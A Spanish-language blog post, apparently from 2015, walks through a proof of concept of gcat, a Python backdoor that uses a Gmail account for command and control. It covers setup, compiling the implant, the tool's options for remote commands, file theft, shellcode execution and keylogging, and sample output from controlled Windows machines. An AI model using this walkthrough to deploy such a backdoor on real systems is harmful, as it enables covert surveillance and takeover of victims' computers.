11/8/15

Gcat, un backdoor escrito en Python que utiliza Gmail como C&C

En Hackplayers lei un excelente post sobre gcat, que como el nombre del titulo lo dice, es un backdoor escrito en python que utiliza a gmail como servidor de comando y control. Entonces me di a la tarea de hacer un PoC  sobre esta herramienta.

Para ello tenemos que crear una cuenta en Gmail, se recomineda no usar tus cuentas personales y tener una asilada para esto. Despues  dentro del mismo README.md nos dice que tenemos que cambiar la configuracion de la cuenta y activar " permitir aplicaciones menos seguras", esto lo podemos hacer en el siguiente enlace:

https://www.google.com/settings/security/lesssecureapps

Posteriormente clonamos los archivos del github:

https://github.com/byt3bl33d3r/gcat

#git clone https://github.com/byt3bl33d3r/gcat.git

Una vez realizado esto, encontraremos dos archivos  el gcat.py, que es el script de control de comandos y el implant.py, quien es el backdoor y que probablemente quisieramos compilarlo en un .exe con pyintaller tal como lo dice el README. (You're probably going to want to compile ```implant.py``` into an executable using [Pyinstaller](https://github.com/pyinstaller/pyinstaller))

Bien ahora, en ambos .py modificamos las variables:
gmail_user
gmail_pwd

Con los datos correspondientes a nuestra cuenta.

Copio y pego el uso de la herramienta ya antes visto en Hackplayers y al final les comparto un video con la PoC de esta herramienta.


Uso:

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Una vez que has implementado el backdoor en un par de sistemas, puedes comprobar los clientes disponibles utilizando el comando list:

#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

La salida es una cadena UUID que identifica de forma exclusiva el sistema y SO donde el backdoor se está ejecutando.

Ahora vamos a mandar un comando a un equipo infectado:

#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Aquí le estamos diciendo a 90b2cd83-cb36-52de-84ee-99db6ff41a11 que ejecute ipconfig / all, luego el script mostrará el JobID que podremos utilizar para recuperar la salida de ese comando:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

https://www.youtube.com/watch?v=EFxH1c8yQXs



2 comentarios:

Pedro Castro dijo...

Se ve muy interesante, gracias por compartir

Pedro Castro dijo...

Se ve muy interesante (Y), gracias por compartir